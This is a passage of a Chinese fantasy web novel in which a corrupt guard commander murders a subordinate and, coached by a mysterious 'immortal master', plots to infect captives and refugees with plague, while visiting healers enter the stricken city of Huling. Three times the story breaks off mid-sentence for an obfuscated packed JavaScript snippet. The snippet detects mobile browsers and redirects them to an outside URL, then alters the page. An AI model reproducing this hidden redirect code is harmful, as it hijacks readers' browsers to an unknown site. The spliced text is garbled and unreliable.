今夜帐前的卫兵被他遣去休息,纷乱的脚步声从帐外传来,一个黑衣人跌入帐中。 “统领!”刘义捂着肩头跪倒在地,望着肖元影,目光凄然,“救走袁茜君的就是上界要来扈陵的那群修士,我们不敌,全军覆没。” 肖元影抬眼:“就剩下你一个,别人都留在那儿了?” 刘义叩首:“属下罪该万死!” 肖元影招招手,刘义低头膝行来到案前。肖元影放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294790|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下兵书,拍了拍刘义的脸:“换下这身衣服,去找军医疗伤,多余的话一个字都不要说,知道了吗。” “多谢统领!”刘义感激涕零,恭敬起身,正要出营帐,又被肖元影叫住。 “还有一事。”肖元影将兵书放到一旁,招呼刘义,“你来。” 刘义不疑有他,转身回到案前。肖元影示意刘义贴耳过来,刘义俯首,肖元影在刘义的耳边轻声说道:“要真想活,你就不该回来。” 刘义察觉不对,但已经迟了。肖元影紧紧揽住他的脖颈,右手飞速抽出藏在书册下的匕首。刘义身子一僵,肖元影拍拍刘义的后背,缓缓松了力道。 刘义捂着腹部滑倒在地,口中咕噜咕噜冒出血泡,藏在袖口的匕首当啷一声掉在地上,一双眼睛目眦欲裂,咽气前仍死死瞪着肖元影。 营帐的屏风后缓缓显露出一道人影,静静地侧身站着,不发一言。 肖元影发了一会儿愣,擦干净手上的血,扭身对着屏风跪下,拱手道:“仙师所说千真万确,元影拜服。若非仙师今夜到访,元影必当六神无主,仓皇失措。” 屏风后传来一声轻笑。那人的身上似乎有无限的温和,只不过是一声轻笑,就让听到的人瞬间放松下来。 人影随着烛火晃动,那人轻声开口:“那个小家伙并没有说出真相。她一直以为你和你的手下是偷偷放他们一家出城的好人,所以遵照父母的叮嘱不肯将私自出城之事声张,怕你们受到牵连。” “一边收受城中权贵的财物、私下放权贵出城,一边派另一伙儿禁军伪装成匪徒,将逃出城的权贵杀害,再把他们带走的财物洗劫一空。”那人语气中带着赞叹,“敲骨吸髓、斩草除根,元影,你确实有勇有谋、胆识过人。朝中有文太师护着你,但想必你也明白,若是此等行径上达天听,即便有他,你也是难逃一死。” 听着那人说话,肖元影心中的焦躁与愤恨尽皆消散了。此时的他无比平和,明白面前的仙人一定可以为他指明出路,虔诚叩首:“求仙师救我。” “我只是给你指出一种可能,真正能救你的,只有你自己。”那人温声劝道。 “小人明白,但求仙师指点!”肖元影道。 于是那人说道:“明日他们前来,会将袁茜君和俘虏交给你们照顾。你已经将扈陵打扫干净了,这很好。等他们明日一来,你还像往日一样,做出尽忠职守的样子。他们将茜君和俘虏交给你,你需用染病之人的污血沾染他们的伤口、给他们喂食,叫他们感染瘟疫。感染后,不出两日,他们便会重病不治,这样便没人知道你杀人灭口的罪行。” “是。”肖元影道,“让想死的人感染上瘟疫,此法卑职明白。” 那人接着说:“光叫人不知道你杀人灭口的罪行还不够,你的罪行有两道,一是将他人杀害,二是私自放人出城。私自放人出城,同样也是死罪。若要让世上再也没人知道你私自放人出城,你还要把城中剩余的灾民,包括小南国的修士一起杀尽……扈陵要像外面那些村子一样成为空城,你明白吗?” “卑职明白。”肖元影道。 屏风后传来一声轻笑:“扈陵城以及周边大小村落数万条人命,天理昭彰,你不怕么?” “有何可怕的?”肖元影道,“我肖元影能有今日,全靠我自己。若真有天理昭彰,只管来报应我。” “好。”那人道,“城中剩余的灾民好杀,你已经将乖巧的挑了出来,在南城摆好阵仗,北城那边便需要尽快除去了。小南国的修士也好杀,他们虽有灵力、是修士,但心慈面软、优柔寡断,你只需要用那些乖巧的灾民耗尽他们的灵力,再如法炮制让他们都染上瘟疫,问题便迎刃而解了。” 听完她的话,肖元影叩首:“多谢仙师教诲。只是,知道我私自放人出城的还有我麾下的兄弟,他们怎么办?若是小南国的修士们将消息传递出去,又该怎么办?” “你怎么除掉刘义和他的手下,就可以怎么除掉你的其他手下。”那人缓缓地说,“修士传递消息,靠的是鹤纸和灵力,你只需要一直忍耐,耗净他们的灵力,拿走他们的鹤纸,他们便如你的那些凡人兄弟一样,任你宰割。” “如此,恐怕朝中难以交代。”肖元影道。 “你不怕天,竟然怕人吗?”那人语中带笑,“到那时,就不是文太师拿着你的短处,而是你攥着文太师的把柄了。” 11. 失一念断送孤魂 事情都处理完已经是深夜,众人草草睡下。 帐篷中间的空地上生着篝火,火堆中偶尔炸开一两颗火星,发出毕毕剥剥的声音。 石耳和乌柏在篝火边陪着花沐雨守夜,不过此时石耳手里抓着挑火的树枝,和乌柏互相倚着,两个人已经靠成一团睡着了。 万籁俱寂,帏帽和面罩摘下放在一旁,花沐雨枕着手臂躺在车顶上,头顶的夜空漆黑,一粒星子也没有。 夜风穿过草木,带来簌簌风声和草木的清新,花沐雨却总觉得自己被若隐若现的血腥气包围。她将手拿到鼻前仔细嗅了嗅,又闻了闻另一只手,其实她手上并未沾到任何东西,此时闻起来却总有一种铁腥味。 她摊着手晾了一会儿,又觉得实在难以忍受,于是戴好帏帽翻身坐起,跳下车顶。四周别无他物,花沐雨抓了一把干净的土揉搓指缝,又揪了草叶在双手间反复擦洗。她擦得用力,双手被土粒和草叶刮伤了,传来疼痛和细微的刺痒。 如此擦了许久,花沐雨夹着水囊,费劲地咬开盖子,用水冲洗裹满了泥土和草叶的双手。 用过的水哗哗淌到路面上,水囊空了,花沐雨将红彤彤的手再次凑到鼻尖,又被扑面而来的土腥味和草腥味激得一阵反胃。 怎么哪里都是腥味?花沐雨压抑着呕吐的感觉,甩干双手,将水囊的盖子盖好挂回车架上。 在背人处转了几圈,花沐雨闭上眼睛深深吸气,试图调节此时心中的烦躁。然而一合上双眼,自己枪尖刺破那些人身躯的一幕便猝不及防地跃至眼前。花沐雨豁地睁开眼,越是提醒自己不要回忆,鲜血迸射的情景就越是在脑海里挥之不去。花沐雨呼吸急促,暗骂一声,反手抽了自己两个耳光。 晨光熹微,石耳的眼珠在眼皮下动了动,而后缓缓睁开了眼。 乌柏还在一边睡着,被捉住的匪徒也好好地绑在对面,四周静悄悄的,大家都没醒。 石耳推了推乌柏:“天亮了,起来了。” “嗯?”乌柏迷迷糊糊地问,“怎么了?” “天亮了,该起来了。”石耳又叫了一遍,先站了起来,活动了一下僵硬的肩膀和脖子。余光里瞧见车顶上有人,石耳惊得清醒了三分,定睛一看,才认出是花沐雨,忙拱手行了一礼。 花沐雨坐起来,淡淡道:“把他们叫醒启程吧。” “昨夜我和师弟似乎睡过去了。”石耳问。 花沐雨嗯了一声,翻身下车:“夜里没事,启程吧。” 昨天夜里马大多受了伤,有几匹被射中了要害,昨天夜里就站不起来,今早一看已经彻底不行了。所幸运送药材的车上都用了不止一匹马来拉车,几辆车匀了一匀,勉强够所有车辆启程,只是这样不免走得更慢了。 不算出乎意料地,之后路过的陈屯等地也成了空村。约莫未时,车队终于来到了扈陵。 川连搭着石耳的手臂下了车,只见扈陵城城墙上军旗招展,卫兵森严。城墙外是一片空地,几丈外挖了壕沟,壕沟外,一身披甲胄的将领正率队等候。 望见他们的车队,那名将领快步赶上前来,拱手见礼道:“卑职姜国禁军两营统领肖元影,敢问阁下可是凌虚界小南国前来救灾义诊的川连仙师?” 川连道:“在下正是川连,有劳统领在此等候。” 肖元影闻言,扑通一声跪下。 川连晚间并没有休息好,连日的赶路也让他疲乏异常,本有些倦怠的精神被肖元影这一跪震醒,连忙俯身前去搀扶:“统领这是做什么,快快请起。” 肖元影不肯起身,原地叩了两个头,再抬起脸时已是泪流满面:“我辈苦候仙师多时!瘟疫肆虐,城中医者束手无策,扈陵百姓十不存一。卑职一介武夫,上不能为百姓医治,下无法替万民受苦,只能日日期盼仙师早日来到,好救扈陵城万民于水火!” 川连心中震动不已,与石耳一起将肖元影从地上拉了起来:“我等此番下界,便是为了扈陵瘟疫而来,自当尽心竭力,统领尽可宽心。” 后面车上的人陆续下车。望着扈陵的高墙,丹砂心中忽然涌起一阵难言的悲凉。回想起之前村中的尸坑,丹砂沉默半晌,轻轻拽了拽身旁花沐雨的袖子。 花沐雨正盯着禁军的佩刀看,察觉有人拽自己,低下头一看,对上丹砂的视线。 “已经到扈陵了。”丹砂望着她的眼睛,“诊费已经付清,你可以去做你的事了。” 花沐雨又朝禁军的队伍望了一眼,蹲下身来对丹砂说:“能多一个人手总是好的。” 丹砂道:“你又不懂医理,留下也帮不上忙。要是你也染上了瘟疫,还倒给我们添麻烦。” 来到此地见过禁军的佩刀后,花沐雨心中便存有一个疑虑,总叫她无法安心离开。但尚未确定之事,也不好对孩子细说,于是她对丹砂道:“帮人帮到底。城中患者不知道有多少,我帮你们做点力气活儿也是可以的。而且我的情况你清楚,兵器怎么会染病呢?” “我们的药能对你起效,就说明你算不得纯然的兵器。此前从没有经验说你这种情况会是如何,瘟疫很可能也会染上你。”丹砂慎重地说,“你万不可仗着自己是残兵化身就疏忽大意。城里情况如何,我也不是十分清楚。你的体质特殊,如果染病,连我也没有把握能把你治好。跟我们一起进城,可能是会死的。” 花沐雨捏捏她的脸:“谢谢你担心我。我跟你们一起去吧。” 前头,川连还在同肖元影说话。 川连道:“我等本应更早一些抵达,但路上遇到一些风波,这才耽误了许久。” 说着,川连将陆续下车的小南国弟子给肖元影引荐,又叫南星抱着茜君走上前来,抚着茜君的衣袖道:“我们在平堂山中遇到这个孩子,当时她衣衫褴褛,自述父母亲朋皆被歹人所杀。我们途经李家村时,在尸坑中找到了她父母身上的金元,与她身上的一般无二……” 石竹捧着盒子上前,将找到的金元给肖元影过目。 川连又道:“就在昨夜,那群匪徒更是直接来犯,险些便叫我等命丧当场。” “竟有此事!”肖元影夺过石竹手中的金元细看,十二枚金元排在盒中,四枚簇新,八枚满是灼烧的痕迹,当即请罪道,“卑职奉皇命驻守此处,竟不知扈陵外有此等匪徒作祟,当真是罪该万死。” 川连宽慰他道:“扈陵事态紧急,你分身乏术以致贼人趁机作乱也是情有可原。如今既已知道了这一情况,还请统领尽快将此事调查清楚。”顿了顿,川连又道,“我等能了解到扈陵的状况,还是靠在人间游历的我师兄川断传信。不知他现在可还在扈陵?” “川断先生还在城中,尚算平安。”肖元影面色犯难,“只是……还请仙师入城后亲自去看吧。” 见他神色,川连点头,心中有了准备。 石竹将记录了遇到茜君、发现尸骨及遇袭经过的供述呈上,肖元影万分尊敬地收入怀中:“多谢仙师,卑职定将此事上报朝廷,查个水落石出。” 又听川连道:“扈陵城外的村庄中,可是也发现了瘟疫?” 肖元影连忙答道:“正是。我到任后,瘟疫已经波及了周边的村寨。为防瘟疫蔓延,我将各个村寨的牲畜集中处理后,把百姓接到扈陵城中统一治疗了。” 川连点头:“此举确无不妥。”又道,“鄙人还有一事想要与统领商议。” 肖元影拱手:“仙师但说无妨。” 川连拍拍被南星抱着的茜君:“这个孩子如今孤苦无依,瘟疫凶险,我等此番将要进入扈陵,难以顾及到她。不知统领可有办法,能将此子妥善安置?” “末将明白仙师的意思,只是……”肖元影面露难色,“她毕竟和我等同处疫区,按照律例,在瘟疫消除之前,她同我们一样不得离开扈陵。” 川连摇头:“统领不必为难,我并非想要将她送到别处,只是想让统领暂时代为照顾,不要让她随我们深入城中即可。我等已为她检查过,她并没有感染瘟疫,统领尽可放心。” 肖元影神情一松:“如此自然无妨。目前禁军大营设在城外,可让她留在营中。” 川连正要表示感谢,忽听后方传来一声“不行”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294791|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人回头,只见丹砂拉着花沐雨走了过来。 丹砂本是想让川连一起劝花沐雨离开,走到前头看到肖元影后,顾不得花沐雨的事,匆匆赶到川连身边,将川连和南星往后拉开。 “他不是好人!不能把茜君交给这个人!”丹砂仰头对川连道。 自花沐雨认识她起,就从没听她的声音如此尖锐过。肖元影一愣,川连尴尬地牵过丹砂的手,将她拢到身侧,给肖元影介绍道:“这是门下弟子丹砂。” 不等肖元影回答,丹砂连声道:“师叔,他在骗你,你不要相信他!” 丹砂的指责毫无由来,只说肖元影不是好人,也不说缘由。川连本来与肖元影谈得好好的,也不知道她为何忽然反应如此剧烈,只想赶紧把她安抚下来,便朝后方的卜芥使眼色。 卜芥走上前来,要将丹砂抱走。 丹砂急道:“禁军是不是也要进城巡查之类的?茜君在你们这边也能接触到瘟疫,和跟我们进城并无差别!” 肖元影温声道:“城中有专门的巡查部队,并不轻易出城,她在营中比在城中安全得多。” “不能把茜君交给她!”丹砂挣脱卜芥的双手,想要跑回去,又被卜芥拉住。 “大人在谈正事,你能不能不要闹了?”卜芥压低声音警告道,抓着她的胳膊将她送回了车里,拦着她不让她出去。 “我说的就是正事!”丹砂严肃道,“你们看不出来吗,他在撒谎!” “证据呢?”卜芥反问,“你凭什么说人家撒谎,又是直觉吗?” 丹砂哑言:“可是哪次不是我说对了?” “你能不能不要老沉浸在你自己的逻辑里。”卜芥低声训斥。 前方,川连冲肖元影歉意地笑笑:“童言无忌,还请统领不要见怪。” “无妨,无妨。”肖元影朝南星伸手,“我一定照顾好孩子。事态紧急,还请仙师随我们尽早入城。” 南星回头看了一眼,丹砂和卜芥的身影已经看不见了。她转过身来,将茜君小心地交给肖元影,又把装着茜君换洗衣物的包袱挂到他手上,冲他点头一笑:“有劳统领了。” 花沐雨站在一旁,想要说什么,但终究没有开口。 将剩余的俘虏也交割完毕,车轮再一次转起,马车沿着吊桥驶入扈陵的大门。 卜芥面色阴沉地坐在车前,花沐雨和南星回到车上,见丹砂板着脸,南星调笑道:“怎么,舍不得茜君啊?” 丹砂明白此刻只有花沐雨值得争取,于是看向花沐雨,再次说道:“他不是好人,你们信错人了。不能将茜君交给他,茜君会死的。” 听她说话,南星只当她是又犯了小孩子那种不知为何产生的臆想,坐到她身边,揽着她的肩膀哄道:“说的是什么傻话。肖统领爱民如子,你这样没有来地诋毁他,未免太过任性了。”又道,“我们马上就要进城了,小大夫,打起精神来。” 丹砂没有应南星的话。花沐雨想了想,还是问她:“你为什么会觉得他不是好人?” 丹砂道:“没有理由。见到他的时候,我就知道他必然罪大恶极。我想让你离开,也是因为扈陵给我的感觉很不好……我说不出缘由,这些都是我的直觉而已,但我的直觉一向很准。” 南星笑着拍拍丹砂的胳膊:“好了好了,怎么能凭直觉就定人的罪呢?如果他真不好,我们相处久了自然会知道……” 花沐雨勉强扯一扯唇角:“人都说小孩的眼睛灵,说不定其中真有什么古怪。” 南星一怔,转头问广丹:“广丹,你有觉得那个人有什么不对吗?” 广丹不知为何有些气不顺:“我没觉得啊,我怎么知道。” 南星看看花沐雨,花沐雨摇摇头。 扈陵城的大门发出沉重的吱呀声,在车队面前缓缓拉开。 马蹄踏上甬道,死气沉沉的扈陵城中再一次回荡起碌碌的车轮。在吞没了新来的人之后,城门轰然关闭。高高的城墙围住死寂的城,新被吞没的人回望,视线对上铁甲森严的守城军,也对上城墙上高高架起的、对准城内弓弩。 12. 苦求索深陷此身 似乎扈陵城中天黑得特别快,感觉没过去多久,天色就已经渐渐昏暗下来。 四坊鸦雀无声,长街灯火齐暗,很难想象这就是平堂山外第一大城、号称百坊长街、鼎盛时城中人口近十万的扈陵。 弟子们点亮挂在马车上的风灯,灯火随着车马摇摇,游入漆黑的夜城。 带他们进城的是肖元影的手下、副统领吴谦。此时他一边打马跟在车旁,一边为川连介绍道:“为了方便医治,我们将病患都集中在南城。症状较轻的安置在南城三条街,症状严重的都安置在永安堂,川断先生也在那里。” 川断此前来信中已经提过自己在永安堂义诊之事。若要到永安堂和南城三条街,还要往南走。马蹄车轮声回荡在黑漆漆的夜里,总有些过于安静了。 跟着吴谦,车队穿过主街,终于在走过几条巷子后看到了写着“永安堂”三个大字的牌匾,也终于进入了灯火通明的世界。 川连下了车,举目四望,永安堂秩序整然。听到车马的动静,院中出来了一群蒙着脸的人前来迎接。 “可是小南国的医修?” “可算将你们盼来了,快随我来。” 南星带着弟子们,在这些扈陵本地医者的指引下安置车马和药材,吴谦的手下士兵也跟着帮忙。 川连顾不上吴谦,拉住一个形色匆匆的本地医者,问道:“敢问川断先生现在何处?” “川断先生在后堂!你跟着我,我带你过去!” 川连三步并作两步跨上台阶,南星抽空喊道:“丹砂、卜芥,跟你师叔一起去看看。”吴谦和花沐雨也自发跟了上去。 本地的医者带着他们穿过前厅,绕过地上横七竖八的病人,来到一个挂着灰布门帘的厢房门口。 他将灯笼挂在檐下,为川连等人掀开了门帘。 川连不等其他人,矮身进入屋内。 屋内摆着简单的桌椅床铺,只有床上躺着一个人。 “师兄?”川连三两步来到床边,待看清那人面容后,大惊失色,“快来人!” 丹砂和卜芥慢他一步,此时应声赶到,看清状况后,二人都心头一紧。 床上躺着的,正是川连的师兄,也是最早发现此地瘟疫、传信回小南国的云游医修,小南国知微堂弟子——川断。 此刻他已经瘦脱了相,面颊也爬上了黑斑,气息微弱,无知无觉地昏睡着。 川连在床边坐下,掀开被子为川断诊脉。 凝神感受了一番,川断灵力耗尽、脉象衰败,但勉强吊住了一丝生气,并非完全无力回天。脉象和之前返回给谷中的相近,只是经脉闭锁,生气不通。川连又仔细观察了一下川断面上的黑斑和口鼻,症状基本相同,师父和众人在谷中探讨出来的治疗方法应该有用,他头也不回地问道:“带药信子了吗?” “带了。”丹砂应道。 相比起他身上的瘟疫,闭锁的经脉和耗尽的灵力倒是次要的了。 丹砂打开药箱取出早前在途中就捻好的药信子,卜芥吹燃火折子,帮丹砂将药信子点燃。略烧了一会儿,丹砂晃灭明火,火头上冒出袅袅的白烟,散发出好闻的药香。川连将药接过,拿点燃的那头悬在川断面上的黑斑上缓慢炙烤。黑斑周围的皮肤慢慢变红,但一时还看不出别的变化。 “再按照师父的方子熬一剂汤药来,快。” 卜芥领命而去。 这时,本地的医者走进来,递给川连一本手记,手记上压着一张折起来的纸条。 川连看了一眼东西,但手里还有热灸,不方便接过。丹砂见了,便说道:“我来吧。” 于是川连把药信子交给丹砂,让丹砂继续为川断热灸,自己站起来给丹砂腾出位置,同时接过本地医者手里的手记和纸条。 先将手记简单翻了翻,能大概看出是川断的字迹。再将纸条展开,看清里面写的是什么之后,川连险些气笑了。 只见纸条上写道: 川连吾弟, 万望展信开颜。 吾至扈陵,见此地疫症奇异,忍不住亲身一试。知汝不日将至,惧汝雷霆震怒,加之日前试药、症状加剧,吾恐过早嗝屁,与汝再难相见,索性自闭太阴、少阴二脉,先寻周公一会。 吾染病前后之体感见闻与所试办法皆记于手记之中,望于汝有所助益。早知吾弟回春妙手,定能助吾与扈陵百姓,长盼梦醒与汝相见。 愚兄川断敬上 川连将纸条折好,这才有工夫问带他们过来的大夫:“敢问先生尊姓大名?” “不敢,不敢。”那人拱手,“鄙人齐玉民,是永安堂的坐堂大夫。” “齐大夫好。”川连见过了礼,又问,“他什么时候自闭经脉的?” “约莫有些日子了。”齐玉民道,“您可以看川断先生留下的手记,扈陵爆发瘟疫以来,他所有的行医诊断大多记录于此。” 齐玉民还要去照看其他病患,交代完便要出去了。 “有劳齐大夫。”送走齐玉民,川连打开手记,最后一页记录的时间是几天前,中间的记录并不连贯,有时两三天才会记录一次。 川连从前往后、仔细看了看川断的手记,看过之后,心又提了起来。 虽然川断在手记中语气轻快,但看他描述的诊疗过程和所用的方法,恐怕这疫症之凶险,已置扈陵百姓和他自己于九死一生之地。 他此前和扈陵本地的医者一起,竭力保住了最后一些民众,然而,随着守城禁军的到来,扈陵城封闭,城中药石告急,用度逐渐短缺,川断自己和不少医者也染上了疫症,如今扈陵百姓百不存一。 川断患病后,便开始用自己试药,只是收效甚微。有几个办法有用,但疫症始终无法彻底根治,而且一旦连用过几日,效果就会逐渐减弱,只有为患病者灌注灵力可暂时救急。 他几日前自查,发现自己已药石无灵,灵力消耗殆尽,甚至无法送出纸鹤。在纸条里玩笑一般的自闭经脉,其实已是川断的最后一试,不然根据他那时的脉象,恐怕真撑不到小南国众人入城。 看到此处,川连忍不住又回到床边,再次为川断诊脉。 他此时的脉象,相较之前记录的脉案,确实没有恶化,但也不见好转。可能他这最后一试,确实暂时有了些效果,但自闭经脉的方法无法施用于普通百姓,也不知后效如何。 扈陵药材短缺,川断之前虽然收到了小南国传来的诊断,但没办法配齐药方,也无法验证疗效。此时川连带来了药,倒可以试一试。 卜芥出去不久,南星就进来 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川连将川断的手记交给丹砂等弟子传阅,正色道:“这是川断昏迷前留下的手记,手记中记载,扈陵城中生民十不存一,而且随着时间推移,患病的人越来越多。” 众弟子翻看着川断的手记,互相对视一眼,心中尽皆沉重。 川连接着道:“他和扈陵本地的医者已经尝试过各种办法,有些办法起初有效,但用多了效果就会减弱,直至彻底无用。此前城中缺少灵药,无法配齐师父拟的药方,所以我们的方子还没用过。谨慎起见,我们先对病人热灸,若非情况极其危急,暂时先不用灵药,只用保气维养的汤药给病人,以免无法根治、后期反而药效减弱。我已经先给川断用了热灸和灵药,若他情况好转,我们的灵药能根治此病,或者灵药对此病药力不会减弱,我们再大范围给药。” 众弟子齐声道:“是。” 川连顿了一顿:“我们每个人灵力有限,人间界灵气缺失,若热灸和灵药有用,我们尽量不要动用灵力。” 众人看过手记,都知道灵力续命之法,也知道灵力耗尽的后果,于是点头。 “病人的脓血需要一直清理干净。南星,”川连唤道,“接下来的几天,你带端末堂弟子挨家挨户去找还能活动、暂未染病的百姓,教他们如何防护,再问问他们是否有能力过来帮忙。病人太多了,我们的人手根本不够。再有,组织起来人之后,我们得把已经病死的人的尸体清出去,统一火化,以免再次传播。” 说罢,他看了一眼吴谦:“此事也需要吴统领手下禁军协助。” 南星与吴谦皆称是。 川连又道:“永安堂内外皆是重症,此事刻不容缓,石耳?” “弟子在。” “你立即将知微堂弟子轮次排班,从今晚就开始,必要保证永安堂中日夜有大夫坐诊。南星,端末堂也当如此。其余不当值弟子,可协助去城中其他百姓家中走访。” “是。” “情况暂便如此。”川连环视一圈,“此前大家也见到了,疫症一日不除,扈陵城一日不开,我们和扈陵千万百姓都将被困死城中,还望诸位不惜余力,川连在此先行谢过。” 语罢,川连一揖到地,屋中众人莫不回礼。 13. 阑珊处善恶难辨 会面完毕,大家鱼贯而出,各自奔忙而去。 花沐雨和吴谦是最后出来的,二人在门外的走廊上对视一眼,吴谦朝花沐雨拱手,花沐雨回以一笑。 “仙师似乎不是小南国门下的弟子。”吴谦攀谈道。 花沐雨笑笑,反问:“吴统领和您手下的禁军会一直在城中协助我们救治百姓吗?” “这是自然。”吴谦爽快地答道,又道,“大部分时间我们都在,偶尔会有回营中办事或换岗。” “如此的话,这些时日还要请吴统领多多照顾。”花沐雨施了一礼,吴谦连说不敢。 花沐雨垂眸,仿佛是偶然一眼扫到了吴谦的佩刀:“吴统领的佩刀十分别致。”说着,她伸过手去,“可否借我一看?” 吴谦下意识护住刀往后一躲,又爽朗一笑,主动将佩刀解下来递给花沐雨:“仙师也是喜爱兵器之人?” 花沐雨接过佩刀:“第一次见人间的兵器,有些好奇罢了。” “这是姜国禁军佩刀。”吴谦指着刀身的花纹和飘带为花沐雨讲解道,“此处的饕餮纹样以及刀柄上飘带的三色颜色,都是我们禁军的象征。” 花沐雨听着,手上用力,长刀出鞘几许,露出闪着寒光的刀刃。 吴谦被她吓了一跳,忙伸手来接刀:“仙师,你这样拔刀可容易伤到自己。” 花沐雨一笑,收刀入鞘,将佩刀交还给吴谦:“让吴统领见笑了。” 南星从厢房中出来,一眼就瞧见了和吴谦闲聊的花沐雨,便叫道:“师叔祖!” 花沐雨闻声回首,吴谦心中诧异不已,这戴着帏帽的姑娘听声音这样年轻,竟然已经是别人的师叔祖了,修仙者果真长生不老,也不知她真实年龄几何。 南星问:“你现在可有事?” “我正闲着。”花沐雨道。 “你跟我来。”南星冲吴谦点头致意,干脆利落地拉走花沐雨,谁知刚绕过角门,就撞见急匆匆赶来的丹砂。 “我正要找你呢。”丹砂拉住花沐雨的袖子,冲南星道,“你先去忙,我找她有点事。” 南星本来只是因为人手不够,见不得有人闲着罢了,也没有什么非要花沐雨做的事,丹砂要找花沐雨,她就丢开手,自去忙去了。 觑着南星走远,丹砂带着花沐雨来到墙根僻静处。 一站定,丹砂便压低了声音道:“你也有怀疑,对不对?” 花沐雨沉吟,丹砂又道:“你信不信我?那个禁军统领,乃至跟着我们进来的吴谦都不是什么好人。茜君有危险,你得帮我。” “你为什么会有怀疑?”花沐雨还是这样问。 “就是直觉不行吗?我就是知道,我看一眼就知道!”丹砂怒道,“他们都不信,只有你。你帮不帮我?” 花沐雨在心中叹气。论及此事,她无可无不可,只是丹砂这样坚持,左右也不是什么大事,何苦非要站去另一边,让她觉得自己孤立无援。 再则,若真有事,多看一眼总比少看一眼好。 “你想让我怎么帮你?”花沐雨问。 丹砂盯着花沐雨的眼睛:“把茜君带回来,茜君不能落在他们手里。” 花沐雨将手放在丹砂头顶:“行吧。今夜我趁无人,去禁军军营走一趟。” 丹砂的眼睛重新亮了起来,花沐雨手上用了点力气:“我去看看茜君的情况,如果情况不对,我就带她回来。但如果人家在那边待得好好的,我们没道理要人,你也尽可放心了,你说对不对?” 丹砂犹豫了一下,点头同意了,又问:“你发现了什么?” 花沐雨揉了揉丹砂的脑袋:“我看看再说。” 深夜,城中传来的第一份线报来到了肖元影案头。 “川连等人并未觉有异,然其所采用的治疗方法偏向保守,惜用灵力,恐不能达到我等预期。小南国一行人中有一异类,以帏帽遮面,不似医修,不知是何来历,还需警惕。北城贱民被一妖邪护住,暂时难有寸进。” 肖元影喃喃念着纸条上的内容,目光移向了桌上的另外两份口述。 其中一份来自此前被俘的、假扮匪徒的禁军。口述中说,那个戴帏帽的女人战力极强,可以以一当百,之前刘义手下基本都折在她手上;另一份是底下的人从茜君口中套出的话,茜君邀功似的说自己没有出卖禁军,小南国众人确如之前在城外所说那样,并未知晓更多真相。 如此看来,帏帽女子不得不防,还需引得小南国那些人多多消耗灵力,局势才会对我有利。另外……肖元影想到迎接小南国车队入城时跑出来骂他的那个小丫头片子,心中一恨。 收好三份消息,肖元影唤道:“来人!” 近卫程肃应声前来,垂头听等肖元影的吩咐。上头许久都没有动静,他心里不由得有些纳闷,但也不敢擅自抬头。 半晌,他才听肖元影道:“之前刘义挡在前头,感觉我好久都没有单独找过你了。你的军职也有两年未进,你心中可有不满?” 程肃连忙叩首:“属下不敢。” 肖元影道:“心有不忿也是人之常情,这次前来扈陵,虽是别人都不爱担的苦差,但也是难得的历练。若是这一趟差事办得好,回到金师,我便上报大统领,将你提为副统领。” 喜从天降,程肃强压下面上的喜色:“多谢肖统领!” 肖元影又问:“那些俘虏的衣食可安排好了?匪徒趁乱行凶此等大事,待我上报朝廷,他们便是重要的证人。如今瘟疫肆虐,他们的衣食可不容马虎,断不可让他们感染瘟疫,以至于线索断在此处。” 程肃心中一打突,下意识抬头看了肖元影一眼。肖元影泰然同他对视,程肃又快速低下头去:“属下明白。” “你真明白了?”肖元影追问。 程肃头垂得更低:“属下愿为统领肝脑涂地,万死不辞。” 肖元影嗯了一声,又问:“那个小孩怎么样?” “小丁他们带着玩了一会儿,现下已经睡下了。”程肃恭敬道。 “好。”肖元影一挥手,“下去吧。” 程肃依言退下,肖元影提笔写了一封便笺,仔细卷好,放在信筒中。放好后,他敲了敲桌子,一个禁军走进营帐中,他将信筒交给他:“将此交给吴谦。” “是。”那人领命离去。 大帐里的人都离开了,肖元影将压在书下的三份消息焚毁,掸了掸纸灰,起身往大帐外走去。 止住卫兵问好的动作,肖元影矮身进入不大的营帐。 营帐中,茜君已经睡得很沉。肖元影来到床榻前,看了看她红扑扑的脸,又弯腰将挡住她呼吸的被子往下掖了掖,没有多留,便掀开帘子走了出去。 “孩子晚饭吃的什么?”营长外传来肖元影轻声的询问。 卫兵的回答也是压低了声音的:“单独熬的细粥,史灶头亲自送来,专门给吹凉了,这小孩吃了两大碗。” 肖元影映在营帐上的影子略一点头便往别处走去,仿佛他只是晚间睡不着,信步游荡到此。 营帐外安静下来,不多时附近的两个卫兵便换到别出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294793|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站岗。地上的毛毡一动,一个人影从茜君床榻下小心地移了出来。 此人正是半个时辰前趁夜色潜进禁军大营的花沐雨。 